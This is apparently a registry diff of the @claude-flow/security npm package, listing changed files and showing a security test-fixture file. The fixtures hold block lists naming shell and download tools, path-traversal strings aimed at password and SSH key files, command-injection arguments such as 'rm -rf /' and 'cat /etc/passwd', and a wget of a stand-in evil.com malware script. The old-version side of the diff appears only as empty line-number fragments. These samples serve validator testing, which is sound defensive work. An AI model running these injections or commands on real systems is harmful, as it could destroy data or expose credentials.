@claude-flow/security 3.0.0-alpha.1 → 3.0.0-alpha.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +234 -234
- package/__tests__/acceptance/security-compliance.test.ts +674 -674
- package/__tests__/credential-generator.test.ts +310 -310
- package/__tests__/fixtures/configurations.ts +425 -419
- package/__tests__/fixtures/index.ts +21 -21
- package/__tests__/helpers/create-mock.ts +469 -469
- package/__tests__/helpers/index.ts +32 -32
- package/__tests__/input-validator.test.ts +382 -381
- package/__tests__/integration/security-flow.test.ts +606 -606
- package/__tests__/password-hasher.test.ts +239 -239
- package/__tests__/path-validator.test.ts +302 -302
- package/__tests__/safe-executor.test.ts +292 -292
- package/__tests__/token-generator.test.ts +371 -371
- package/__tests__/unit/credential-generator.test.ts +182 -182
- package/__tests__/unit/password-hasher.test.ts +359 -359
- package/__tests__/unit/path-validator.test.ts +509 -509
- package/__tests__/unit/safe-executor.test.ts +667 -667
- package/__tests__/unit/token-generator.test.ts +310 -310
- package/dist/credential-generator.js +9 -9
- package/dist/domain/services/security-domain-service.js +1 -1
- package/dist/domain/services/security-domain-service.js.map +1 -1
- package/dist/index.d.ts +1 -1
- package/dist/index.js +1 -1
- package/dist/index.js.map +1 -1
- package/dist/password-hasher.d.ts.map +1 -1
- package/dist/password-hasher.js +8 -1
- package/dist/password-hasher.js.map +1 -1
- package/dist/safe-executor.d.ts +7 -0
- package/dist/safe-executor.d.ts.map +1 -1
- package/dist/safe-executor.js +21 -1
- package/dist/safe-executor.js.map +1 -1
- package/package.json +27 -28
- package/src/CVE-REMEDIATION.ts +251 -251
- package/src/application/index.ts +10 -10
- package/src/application/services/security-application-service.ts +193 -193
- package/src/credential-generator.ts +368 -368
- package/src/domain/entities/security-context.ts +173 -173
- package/src/domain/index.ts +17 -17
- package/src/domain/services/security-domain-service.ts +296 -296
- package/src/index.ts +271 -271
- package/src/input-validator.ts +466 -466
- package/src/password-hasher.ts +277 -270
- package/src/path-validator.ts +525 -525
- package/src/safe-executor.ts +546 -525
- package/src/token-generator.ts +463 -463
- package/tmp.json +0 -0
- package/tsconfig.json +9 -9
- package/tsconfig.tsbuildinfo +1 -1
- package/vitest.config.ts +20 -0
- package/.agentic-flow/intelligence.json +0 -16
- package/__tests__/coverage/base.css +0 -224
- package/__tests__/coverage/block-navigation.js +0 -87
- package/__tests__/coverage/coverage-final.json +0 -11
- package/__tests__/coverage/favicon.png +0 -0
- package/__tests__/coverage/index.html +0 -161
- package/__tests__/coverage/lcov-report/base.css +0 -224
- package/__tests__/coverage/lcov-report/block-navigation.js +0 -87
- package/__tests__/coverage/lcov-report/favicon.png +0 -0
- package/__tests__/coverage/lcov-report/index.html +0 -161
- package/__tests__/coverage/lcov-report/prettify.css +0 -1
- package/__tests__/coverage/lcov-report/prettify.js +0 -2
- package/__tests__/coverage/lcov-report/sort-arrow-sprite.png +0 -0
- package/__tests__/coverage/lcov-report/sorter.js +0 -210
- package/__tests__/coverage/lcov-report/src/CVE-REMEDIATION.ts.html +0 -838
- package/__tests__/coverage/lcov-report/src/application/services/index.html +0 -116
- package/__tests__/coverage/lcov-report/src/application/services/security-application-service.ts.html +0 -664
- package/__tests__/coverage/lcov-report/src/credential-generator.ts.html +0 -1189
- package/__tests__/coverage/lcov-report/src/domain/entities/index.html +0 -116
- package/__tests__/coverage/lcov-report/src/domain/entities/security-context.ts.html +0 -604
- package/__tests__/coverage/lcov-report/src/domain/services/index.html +0 -116
- package/__tests__/coverage/lcov-report/src/domain/services/security-domain-service.ts.html +0 -973
- package/__tests__/coverage/lcov-report/src/index.html +0 -206
- package/__tests__/coverage/lcov-report/src/input-validator.ts.html +0 -1483
- package/__tests__/coverage/lcov-report/src/password-hasher.ts.html +0 -895
- package/__tests__/coverage/lcov-report/src/path-validator.ts.html +0 -1660
- package/__tests__/coverage/lcov-report/src/safe-executor.ts.html +0 -1660
- package/__tests__/coverage/lcov-report/src/token-generator.ts.html +0 -1474
- package/__tests__/coverage/lcov.info +0 -3650
- package/__tests__/coverage/prettify.css +0 -1
- package/__tests__/coverage/prettify.js +0 -2
- package/__tests__/coverage/sort-arrow-sprite.png +0 -0
- package/__tests__/coverage/sorter.js +0 -210
- package/__tests__/coverage/src/CVE-REMEDIATION.ts.html +0 -838
- package/__tests__/coverage/src/application/services/index.html +0 -116
- package/__tests__/coverage/src/application/services/security-application-service.ts.html +0 -664
- package/__tests__/coverage/src/credential-generator.ts.html +0 -1189
- package/__tests__/coverage/src/domain/entities/index.html +0 -116
- package/__tests__/coverage/src/domain/entities/security-context.ts.html +0 -604
- package/__tests__/coverage/src/domain/services/index.html +0 -116
- package/__tests__/coverage/src/domain/services/security-domain-service.ts.html +0 -973
- package/__tests__/coverage/src/index.html +0 -206
- package/__tests__/coverage/src/input-validator.ts.html +0 -1483
- package/__tests__/coverage/src/password-hasher.ts.html +0 -895
- package/__tests__/coverage/src/path-validator.ts.html +0 -1660
- package/__tests__/coverage/src/safe-executor.ts.html +0 -1660
- package/__tests__/coverage/src/token-generator.ts.html +0 -1474
|
@@ -1,419 +1,425 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Test Fixtures - Security Configurations
|
|
3
|
-
*
|
|
4
|
-
* Provides predefined security configurations for testing different scenarios.
|
|
5
|
-
*
|
|
6
|
-
* @module v3/security/__tests__/fixtures/configurations
|
|
7
|
-
*/
|
|
8
|
-
|
|
9
|
-
/**
|
|
10
|
-
* Security configuration type for testing
|
|
11
|
-
*/
|
|
12
|
-
export interface SecurityConfig {
|
|
13
|
-
hashing: {
|
|
14
|
-
algorithm: 'argon2' | 'bcrypt' | 'scrypt';
|
|
15
|
-
memoryCost?: number;
|
|
16
|
-
timeCost?: number;
|
|
17
|
-
parallelism?: number;
|
|
18
|
-
rounds?: number;
|
|
19
|
-
};
|
|
20
|
-
execution: {
|
|
21
|
-
shell: boolean;
|
|
22
|
-
timeout: number;
|
|
23
|
-
allowedCommands: string[];
|
|
24
|
-
blockedCommands: string[];
|
|
25
|
-
};
|
|
26
|
-
paths: {
|
|
27
|
-
blockedPatterns: string[];
|
|
28
|
-
maxPathLength: number;
|
|
29
|
-
allowHidden: boolean;
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
}
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
'
|
|
60
|
-
'
|
|
61
|
-
'
|
|
62
|
-
'
|
|
63
|
-
'
|
|
64
|
-
'
|
|
65
|
-
'
|
|
66
|
-
'
|
|
67
|
-
'
|
|
68
|
-
'
|
|
69
|
-
'
|
|
70
|
-
'
|
|
71
|
-
'
|
|
72
|
-
'
|
|
73
|
-
'
|
|
74
|
-
'
|
|
75
|
-
'
|
|
76
|
-
'
|
|
77
|
-
'
|
|
78
|
-
'
|
|
79
|
-
'
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
'
|
|
86
|
-
'
|
|
87
|
-
'/
|
|
88
|
-
'/
|
|
89
|
-
'/
|
|
90
|
-
'/
|
|
91
|
-
'/
|
|
92
|
-
'
|
|
93
|
-
'
|
|
94
|
-
'
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
174
|
-
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
|
|
178
|
-
|
|
179
|
-
|
|
180
|
-
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
|
|
192
|
-
|
|
193
|
-
|
|
194
|
-
|
|
195
|
-
|
|
196
|
-
},
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
},
|
|
202
|
-
|
|
203
|
-
|
|
204
|
-
|
|
205
|
-
|
|
206
|
-
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
|
|
214
|
-
|
|
215
|
-
|
|
216
|
-
|
|
217
|
-
|
|
218
|
-
|
|
219
|
-
|
|
220
|
-
|
|
221
|
-
|
|
222
|
-
},
|
|
223
|
-
|
|
224
|
-
|
|
225
|
-
|
|
226
|
-
|
|
227
|
-
|
|
228
|
-
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
|
|
233
|
-
}
|
|
234
|
-
|
|
235
|
-
|
|
236
|
-
|
|
237
|
-
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
|
|
241
|
-
|
|
242
|
-
|
|
243
|
-
|
|
244
|
-
|
|
245
|
-
|
|
246
|
-
|
|
247
|
-
|
|
248
|
-
|
|
249
|
-
|
|
250
|
-
|
|
251
|
-
|
|
252
|
-
|
|
253
|
-
|
|
254
|
-
|
|
255
|
-
|
|
256
|
-
|
|
257
|
-
|
|
258
|
-
|
|
259
|
-
|
|
260
|
-
|
|
261
|
-
|
|
262
|
-
|
|
263
|
-
|
|
264
|
-
|
|
265
|
-
|
|
266
|
-
|
|
267
|
-
|
|
268
|
-
|
|
269
|
-
|
|
270
|
-
|
|
271
|
-
|
|
272
|
-
|
|
273
|
-
|
|
274
|
-
|
|
275
|
-
'
|
|
276
|
-
'
|
|
277
|
-
'
|
|
278
|
-
'
|
|
279
|
-
|
|
280
|
-
|
|
281
|
-
|
|
282
|
-
'
|
|
283
|
-
'
|
|
284
|
-
'/
|
|
285
|
-
'/
|
|
286
|
-
|
|
287
|
-
|
|
288
|
-
|
|
289
|
-
'
|
|
290
|
-
'
|
|
291
|
-
'
|
|
292
|
-
|
|
293
|
-
|
|
294
|
-
|
|
295
|
-
'.
|
|
296
|
-
'.
|
|
297
|
-
'.
|
|
298
|
-
|
|
299
|
-
|
|
300
|
-
|
|
301
|
-
|
|
302
|
-
|
|
303
|
-
|
|
304
|
-
|
|
305
|
-
|
|
306
|
-
|
|
307
|
-
|
|
308
|
-
|
|
309
|
-
|
|
310
|
-
|
|
311
|
-
|
|
312
|
-
|
|
313
|
-
|
|
314
|
-
|
|
315
|
-
|
|
316
|
-
|
|
317
|
-
|
|
318
|
-
|
|
319
|
-
|
|
320
|
-
|
|
321
|
-
|
|
322
|
-
|
|
323
|
-
|
|
324
|
-
|
|
325
|
-
|
|
326
|
-
|
|
327
|
-
|
|
328
|
-
|
|
329
|
-
|
|
330
|
-
|
|
331
|
-
|
|
332
|
-
|
|
333
|
-
|
|
334
|
-
|
|
335
|
-
'
|
|
336
|
-
|
|
337
|
-
|
|
338
|
-
|
|
339
|
-
|
|
340
|
-
|
|
341
|
-
'
|
|
342
|
-
'@
|
|
343
|
-
'
|
|
344
|
-
'
|
|
345
|
-
|
|
346
|
-
|
|
347
|
-
|
|
348
|
-
|
|
349
|
-
|
|
350
|
-
|
|
351
|
-
|
|
352
|
-
'
|
|
353
|
-
|
|
354
|
-
|
|
355
|
-
|
|
356
|
-
|
|
357
|
-
|
|
358
|
-
'550e8400-e29b-41d4-a716',
|
|
359
|
-
'
|
|
360
|
-
'',
|
|
361
|
-
],
|
|
362
|
-
|
|
363
|
-
|
|
364
|
-
|
|
365
|
-
|
|
366
|
-
'
|
|
367
|
-
|
|
368
|
-
|
|
369
|
-
|
|
370
|
-
|
|
371
|
-
|
|
372
|
-
|
|
373
|
-
'
|
|
374
|
-
'
|
|
375
|
-
'
|
|
376
|
-
'
|
|
377
|
-
|
|
378
|
-
|
|
379
|
-
|
|
380
|
-
|
|
381
|
-
|
|
382
|
-
|
|
383
|
-
|
|
384
|
-
|
|
385
|
-
|
|
386
|
-
|
|
387
|
-
|
|
388
|
-
|
|
389
|
-
|
|
390
|
-
|
|
391
|
-
|
|
392
|
-
|
|
393
|
-
|
|
394
|
-
|
|
395
|
-
|
|
396
|
-
|
|
397
|
-
}
|
|
398
|
-
|
|
399
|
-
|
|
400
|
-
|
|
401
|
-
|
|
402
|
-
|
|
403
|
-
|
|
404
|
-
|
|
405
|
-
|
|
406
|
-
|
|
407
|
-
|
|
408
|
-
|
|
409
|
-
|
|
410
|
-
|
|
411
|
-
|
|
412
|
-
|
|
413
|
-
|
|
414
|
-
|
|
415
|
-
|
|
416
|
-
|
|
417
|
-
|
|
418
|
-
|
|
419
|
-
|
|
1
|
+
/**
|
|
2
|
+
* Test Fixtures - Security Configurations
|
|
3
|
+
*
|
|
4
|
+
* Provides predefined security configurations for testing different scenarios.
|
|
5
|
+
*
|
|
6
|
+
* @module v3/security/__tests__/fixtures/configurations
|
|
7
|
+
*/
|
|
8
|
+
|
|
9
|
+
/**
|
|
10
|
+
* Security configuration type for testing
|
|
11
|
+
*/
|
|
12
|
+
export interface SecurityConfig {
|
|
13
|
+
hashing: {
|
|
14
|
+
algorithm: 'argon2' | 'bcrypt' | 'scrypt';
|
|
15
|
+
memoryCost?: number;
|
|
16
|
+
timeCost?: number;
|
|
17
|
+
parallelism?: number;
|
|
18
|
+
rounds?: number;
|
|
19
|
+
};
|
|
20
|
+
execution: {
|
|
21
|
+
shell: boolean;
|
|
22
|
+
timeout: number;
|
|
23
|
+
allowedCommands: string[];
|
|
24
|
+
blockedCommands: string[];
|
|
25
|
+
};
|
|
26
|
+
paths: {
|
|
27
|
+
blockedPatterns: string[];
|
|
28
|
+
maxPathLength: number;
|
|
29
|
+
allowHidden: boolean;
|
|
30
|
+
allowedDirectories: string[];
|
|
31
|
+
};
|
|
32
|
+
validation: {
|
|
33
|
+
maxInputSize: number;
|
|
34
|
+
sanitizeHtml: boolean;
|
|
35
|
+
allowedChars: RegExp;
|
|
36
|
+
};
|
|
37
|
+
tokens: {
|
|
38
|
+
defaultExpiration: number;
|
|
39
|
+
hmacAlgorithm: string;
|
|
40
|
+
tokenLength: number;
|
|
41
|
+
};
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
/**
|
|
45
|
+
* Strict security configuration - maximum security settings
|
|
46
|
+
*/
|
|
47
|
+
const strictConfig: SecurityConfig = {
|
|
48
|
+
hashing: {
|
|
49
|
+
algorithm: 'argon2',
|
|
50
|
+
memoryCost: 65536,
|
|
51
|
+
timeCost: 3,
|
|
52
|
+
parallelism: 4,
|
|
53
|
+
},
|
|
54
|
+
execution: {
|
|
55
|
+
shell: false,
|
|
56
|
+
timeout: 30000,
|
|
57
|
+
allowedCommands: ['npm', 'node', 'git'],
|
|
58
|
+
blockedCommands: [
|
|
59
|
+
'rm',
|
|
60
|
+
'rmdir',
|
|
61
|
+
'del',
|
|
62
|
+
'format',
|
|
63
|
+
'mkfs',
|
|
64
|
+
'dd',
|
|
65
|
+
'chmod',
|
|
66
|
+
'chown',
|
|
67
|
+
'kill',
|
|
68
|
+
'killall',
|
|
69
|
+
'pkill',
|
|
70
|
+
'reboot',
|
|
71
|
+
'shutdown',
|
|
72
|
+
'init',
|
|
73
|
+
'poweroff',
|
|
74
|
+
'halt',
|
|
75
|
+
'wget',
|
|
76
|
+
'curl',
|
|
77
|
+
'bash',
|
|
78
|
+
'sh',
|
|
79
|
+
'zsh',
|
|
80
|
+
'eval',
|
|
81
|
+
],
|
|
82
|
+
},
|
|
83
|
+
paths: {
|
|
84
|
+
blockedPatterns: [
|
|
85
|
+
'../',
|
|
86
|
+
'..\\',
|
|
87
|
+
'/etc/',
|
|
88
|
+
'/tmp/',
|
|
89
|
+
'/var/',
|
|
90
|
+
'/usr/',
|
|
91
|
+
'/bin/',
|
|
92
|
+
'/sbin/',
|
|
93
|
+
'~/',
|
|
94
|
+
'%2e%2e',
|
|
95
|
+
'\0',
|
|
96
|
+
],
|
|
97
|
+
maxPathLength: 4096,
|
|
98
|
+
allowHidden: false,
|
|
99
|
+
allowedDirectories: ['./v3/', './src/', './tests/', './docs/'],
|
|
100
|
+
},
|
|
101
|
+
validation: {
|
|
102
|
+
maxInputSize: 10000,
|
|
103
|
+
sanitizeHtml: true,
|
|
104
|
+
allowedChars: /^[a-zA-Z0-9._\-\s]+$/,
|
|
105
|
+
},
|
|
106
|
+
tokens: {
|
|
107
|
+
defaultExpiration: 3600,
|
|
108
|
+
hmacAlgorithm: 'sha256',
|
|
109
|
+
tokenLength: 32,
|
|
110
|
+
},
|
|
111
|
+
};
|
|
112
|
+
|
|
113
|
+
/**
|
|
114
|
+
* Development security configuration - relaxed for local development
|
|
115
|
+
*/
|
|
116
|
+
const developmentConfig: SecurityConfig = {
|
|
117
|
+
hashing: {
|
|
118
|
+
algorithm: 'bcrypt',
|
|
119
|
+
rounds: 10,
|
|
120
|
+
},
|
|
121
|
+
execution: {
|
|
122
|
+
shell: false,
|
|
123
|
+
timeout: 60000,
|
|
124
|
+
allowedCommands: ['npm', 'node', 'git', 'ls', 'cat', 'grep', 'find', 'echo'],
|
|
125
|
+
blockedCommands: ['rm', 'rmdir', 'del', 'format', 'mkfs', 'dd'],
|
|
126
|
+
},
|
|
127
|
+
paths: {
|
|
128
|
+
blockedPatterns: ['../', '..\\', '/etc/passwd', '/etc/shadow'],
|
|
129
|
+
maxPathLength: 8192,
|
|
130
|
+
allowHidden: true,
|
|
131
|
+
allowedDirectories: ['./v3/', './src/', './tests/', './docs/', './node_modules/'],
|
|
132
|
+
},
|
|
133
|
+
validation: {
|
|
134
|
+
maxInputSize: 100000,
|
|
135
|
+
sanitizeHtml: true,
|
|
136
|
+
allowedChars: /^[a-zA-Z0-9._\-\s@#$%^&*()+=[\]{}|;:,.<>?/\\]+$/,
|
|
137
|
+
},
|
|
138
|
+
tokens: {
|
|
139
|
+
defaultExpiration: 86400,
|
|
140
|
+
hmacAlgorithm: 'sha256',
|
|
141
|
+
tokenLength: 32,
|
|
142
|
+
},
|
|
143
|
+
};
|
|
144
|
+
|
|
145
|
+
/**
|
|
146
|
+
* Testing security configuration - minimal restrictions for test speed
|
|
147
|
+
*/
|
|
148
|
+
const testingConfig: SecurityConfig = {
|
|
149
|
+
hashing: {
|
|
150
|
+
algorithm: 'bcrypt',
|
|
151
|
+
rounds: 4, // Fast for testing
|
|
152
|
+
},
|
|
153
|
+
execution: {
|
|
154
|
+
shell: false,
|
|
155
|
+
timeout: 5000,
|
|
156
|
+
allowedCommands: ['echo', 'true', 'false', 'node'],
|
|
157
|
+
blockedCommands: ['rm', 'dd'],
|
|
158
|
+
},
|
|
159
|
+
paths: {
|
|
160
|
+
blockedPatterns: ['../', '/etc/'],
|
|
161
|
+
maxPathLength: 1024,
|
|
162
|
+
allowHidden: true,
|
|
163
|
+
allowedDirectories: ['./src/', './tests/'],
|
|
164
|
+
},
|
|
165
|
+
validation: {
|
|
166
|
+
maxInputSize: 1000,
|
|
167
|
+
sanitizeHtml: false,
|
|
168
|
+
allowedChars: /^.*$/,
|
|
169
|
+
},
|
|
170
|
+
tokens: {
|
|
171
|
+
defaultExpiration: 60,
|
|
172
|
+
hmacAlgorithm: 'sha256',
|
|
173
|
+
tokenLength: 16,
|
|
174
|
+
},
|
|
175
|
+
};
|
|
176
|
+
|
|
177
|
+
/**
|
|
178
|
+
* CI/CD security configuration - optimized for automated testing
|
|
179
|
+
*/
|
|
180
|
+
const cicdConfig: SecurityConfig = {
|
|
181
|
+
hashing: {
|
|
182
|
+
algorithm: 'bcrypt',
|
|
183
|
+
rounds: 6,
|
|
184
|
+
},
|
|
185
|
+
execution: {
|
|
186
|
+
shell: false,
|
|
187
|
+
timeout: 10000,
|
|
188
|
+
allowedCommands: ['npm', 'node', 'git', 'echo'],
|
|
189
|
+
blockedCommands: ['rm', 'rmdir', 'del', 'format', 'mkfs', 'dd', 'chmod', 'chown'],
|
|
190
|
+
},
|
|
191
|
+
paths: {
|
|
192
|
+
blockedPatterns: ['../', '..\\', '/etc/', '/tmp/', '~/', '\0'],
|
|
193
|
+
maxPathLength: 4096,
|
|
194
|
+
allowHidden: false,
|
|
195
|
+
allowedDirectories: ['./v3/', './src/', './tests/'],
|
|
196
|
+
},
|
|
197
|
+
validation: {
|
|
198
|
+
maxInputSize: 50000,
|
|
199
|
+
sanitizeHtml: true,
|
|
200
|
+
allowedChars: /^[a-zA-Z0-9._\-\s]+$/,
|
|
201
|
+
},
|
|
202
|
+
tokens: {
|
|
203
|
+
defaultExpiration: 300,
|
|
204
|
+
hmacAlgorithm: 'sha256',
|
|
205
|
+
tokenLength: 32,
|
|
206
|
+
},
|
|
207
|
+
};
|
|
208
|
+
|
|
209
|
+
/**
|
|
210
|
+
* Legacy security configuration - for backward compatibility testing
|
|
211
|
+
*/
|
|
212
|
+
const legacyConfig: SecurityConfig = {
|
|
213
|
+
hashing: {
|
|
214
|
+
algorithm: 'bcrypt',
|
|
215
|
+
rounds: 10,
|
|
216
|
+
},
|
|
217
|
+
execution: {
|
|
218
|
+
shell: true, // Legacy allowed shell
|
|
219
|
+
timeout: 30000,
|
|
220
|
+
allowedCommands: [],
|
|
221
|
+
blockedCommands: ['rm -rf /', 'format c:'],
|
|
222
|
+
},
|
|
223
|
+
paths: {
|
|
224
|
+
blockedPatterns: [],
|
|
225
|
+
maxPathLength: 255, // Old Windows limit
|
|
226
|
+
allowHidden: true,
|
|
227
|
+
allowedDirectories: [],
|
|
228
|
+
},
|
|
229
|
+
validation: {
|
|
230
|
+
maxInputSize: 1024 * 1024,
|
|
231
|
+
sanitizeHtml: false,
|
|
232
|
+
allowedChars: /^.*$/,
|
|
233
|
+
},
|
|
234
|
+
tokens: {
|
|
235
|
+
defaultExpiration: 604800, // 1 week
|
|
236
|
+
hmacAlgorithm: 'sha1', // Legacy
|
|
237
|
+
tokenLength: 16,
|
|
238
|
+
},
|
|
239
|
+
};
|
|
240
|
+
|
|
241
|
+
/**
|
|
242
|
+
* Export all security configurations
|
|
243
|
+
*/
|
|
244
|
+
export const securityConfigs = {
|
|
245
|
+
strict: strictConfig,
|
|
246
|
+
development: developmentConfig,
|
|
247
|
+
testing: testingConfig,
|
|
248
|
+
cicd: cicdConfig,
|
|
249
|
+
legacy: legacyConfig,
|
|
250
|
+
} as const;
|
|
251
|
+
|
|
252
|
+
/**
|
|
253
|
+
* Default configuration (uses strict in production-like tests)
|
|
254
|
+
*/
|
|
255
|
+
export const defaultConfig = strictConfig;
|
|
256
|
+
|
|
257
|
+
/**
|
|
258
|
+
* Test data fixtures
|
|
259
|
+
*/
|
|
260
|
+
export const testPasswords = {
|
|
261
|
+
strong: 'SecureP@ssword123!',
|
|
262
|
+
medium: 'Password123',
|
|
263
|
+
weak: 'password',
|
|
264
|
+
short: 'Abc1!',
|
|
265
|
+
noUpper: 'password123!',
|
|
266
|
+
noLower: 'PASSWORD123!',
|
|
267
|
+
noDigit: 'SecurePassword!',
|
|
268
|
+
noSpecial: 'SecurePassword123',
|
|
269
|
+
empty: '',
|
|
270
|
+
tooLong: 'A'.repeat(200) + '1!a',
|
|
271
|
+
};
|
|
272
|
+
|
|
273
|
+
export const testPaths = {
|
|
274
|
+
safe: [
|
|
275
|
+
'./src/index.ts',
|
|
276
|
+
'./tests/unit/test.ts',
|
|
277
|
+
'/workspaces/project/src/file.ts',
|
|
278
|
+
'relative/path/file.js',
|
|
279
|
+
],
|
|
280
|
+
traversal: [
|
|
281
|
+
'../../../etc/passwd',
|
|
282
|
+
'..\\..\\..\\Windows\\System32',
|
|
283
|
+
'....//....//etc/passwd',
|
|
284
|
+
'%2e%2e%2f%2e%2e%2fetc/passwd',
|
|
285
|
+
'..%00/etc/passwd',
|
|
286
|
+
],
|
|
287
|
+
absoluteSystem: [
|
|
288
|
+
'/etc/passwd',
|
|
289
|
+
'/etc/shadow',
|
|
290
|
+
'/var/log/auth.log',
|
|
291
|
+
'/tmp/malicious',
|
|
292
|
+
'/usr/bin/rm',
|
|
293
|
+
],
|
|
294
|
+
nullByte: [
|
|
295
|
+
'file.txt\0.exe',
|
|
296
|
+
'image.jpg\x00.php',
|
|
297
|
+
'safe.txt%00.sh',
|
|
298
|
+
],
|
|
299
|
+
hidden: [
|
|
300
|
+
'.env',
|
|
301
|
+
'.git/config',
|
|
302
|
+
'.ssh/id_rsa',
|
|
303
|
+
'.htpasswd',
|
|
304
|
+
'~/.bashrc',
|
|
305
|
+
],
|
|
306
|
+
};
|
|
307
|
+
|
|
308
|
+
export const testCommands = {
|
|
309
|
+
safe: {
|
|
310
|
+
command: 'npm',
|
|
311
|
+
args: ['install', '--save', 'lodash'],
|
|
312
|
+
},
|
|
313
|
+
dangerous: {
|
|
314
|
+
command: 'rm',
|
|
315
|
+
args: ['-rf', '/'],
|
|
316
|
+
},
|
|
317
|
+
injection: {
|
|
318
|
+
command: 'npm',
|
|
319
|
+
args: ['install; rm -rf /', 'package'],
|
|
320
|
+
},
|
|
321
|
+
pipeInjection: {
|
|
322
|
+
command: 'npm',
|
|
323
|
+
args: ['install | cat /etc/passwd'],
|
|
324
|
+
},
|
|
325
|
+
substitution: {
|
|
326
|
+
command: 'npm',
|
|
327
|
+
args: ['install $(whoami)'],
|
|
328
|
+
},
|
|
329
|
+
backtick: {
|
|
330
|
+
command: 'npm',
|
|
331
|
+
args: ['install `rm -rf /`'],
|
|
332
|
+
},
|
|
333
|
+
notAllowed: {
|
|
334
|
+
command: 'wget',
|
|
335
|
+
args: ['http://evil.com/malware.sh'],
|
|
336
|
+
},
|
|
337
|
+
};
|
|
338
|
+
|
|
339
|
+
export const testEmails = {
|
|
340
|
+
valid: [
|
|
341
|
+
'user@example.com',
|
|
342
|
+
'user.name@example.co.uk',
|
|
343
|
+
'user+tag@example.org',
|
|
344
|
+
'user@sub.domain.example.com',
|
|
345
|
+
],
|
|
346
|
+
invalid: [
|
|
347
|
+
'notanemail',
|
|
348
|
+
'@nodomain.com',
|
|
349
|
+
'no@',
|
|
350
|
+
'spaces in@email.com',
|
|
351
|
+
'user@.com',
|
|
352
|
+
'',
|
|
353
|
+
],
|
|
354
|
+
};
|
|
355
|
+
|
|
356
|
+
export const testUUIDs = {
|
|
357
|
+
valid: [
|
|
358
|
+
'550e8400-e29b-41d4-a716-446655440000',
|
|
359
|
+
'123e4567-e89b-12d3-a456-426614174000',
|
|
360
|
+
'a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11',
|
|
361
|
+
],
|
|
362
|
+
invalid: [
|
|
363
|
+
'not-a-uuid',
|
|
364
|
+
'550e8400-e29b-41d4-a716',
|
|
365
|
+
'550e8400e29b41d4a716446655440000',
|
|
366
|
+
'',
|
|
367
|
+
],
|
|
368
|
+
};
|
|
369
|
+
|
|
370
|
+
export const testIdentifiers = {
|
|
371
|
+
valid: [
|
|
372
|
+
'validId',
|
|
373
|
+
'valid-id',
|
|
374
|
+
'valid_id',
|
|
375
|
+
'validId123',
|
|
376
|
+
'Valid123Id',
|
|
377
|
+
],
|
|
378
|
+
invalid: [
|
|
379
|
+
'123invalid',
|
|
380
|
+
'invalid@id',
|
|
381
|
+
'invalid id',
|
|
382
|
+
'invalid.id',
|
|
383
|
+
'',
|
|
384
|
+
'-invalid',
|
|
385
|
+
],
|
|
386
|
+
};
|
|
387
|
+
|
|
388
|
+
/**
|
|
389
|
+
* Factory for creating test scenarios
|
|
390
|
+
*/
|
|
391
|
+
export function createTestScenario(
|
|
392
|
+
name: string,
|
|
393
|
+
config: SecurityConfig,
|
|
394
|
+
expectations: {
|
|
395
|
+
shouldPass: boolean;
|
|
396
|
+
errorPatterns?: string[];
|
|
397
|
+
}
|
|
398
|
+
) {
|
|
399
|
+
return {
|
|
400
|
+
name,
|
|
401
|
+
config,
|
|
402
|
+
...expectations,
|
|
403
|
+
};
|
|
404
|
+
}
|
|
405
|
+
|
|
406
|
+
/**
|
|
407
|
+
* Common test scenarios
|
|
408
|
+
*/
|
|
409
|
+
export const testScenarios = {
|
|
410
|
+
strictPathTraversal: createTestScenario(
|
|
411
|
+
'Strict path traversal prevention',
|
